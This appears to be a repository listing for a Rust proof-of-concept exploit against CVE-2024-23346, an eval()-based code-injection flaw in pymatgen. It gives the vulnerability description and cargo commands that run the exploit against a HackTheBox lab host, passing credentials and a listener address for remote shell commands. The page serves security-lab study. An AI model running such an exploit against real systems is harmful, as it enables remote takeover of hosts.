CVE-2024-23346 PoC — pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

Source

https://github.com/szyth/CVE-2024-23346-rust-exploit

Associated Vulnerability

Title: pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string (CVE-2024-23346)
Description:Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Description

A Rust exploit for CVE-2024-23346 that functions as a "terminal" (tested on chemistry.htb)

Readme

A Rust exploitation script for CVE-2024-23346.

As shown below the POC uses the code injection vulnerability and runs remote shell commands like in a Terminal.


[poc.webm](https://github.com/user-attachments/assets/0d1e15d8-21c3-4c32-9ae2-8539461ca257)

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Steps to run the exploit:
- Run directly with `Cargo`
    - `cargo run -- --help`
    - `cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19`

OR

- Compile the Binary: `cargo build -r` (binary will be in `target/release/poc`)
- Run the Binary:
    - `./poc --help`
    - `./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19`


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Exploit script is inspired from Python Scripting Expert [MAWK0235](https://github.com/MAWK0235)

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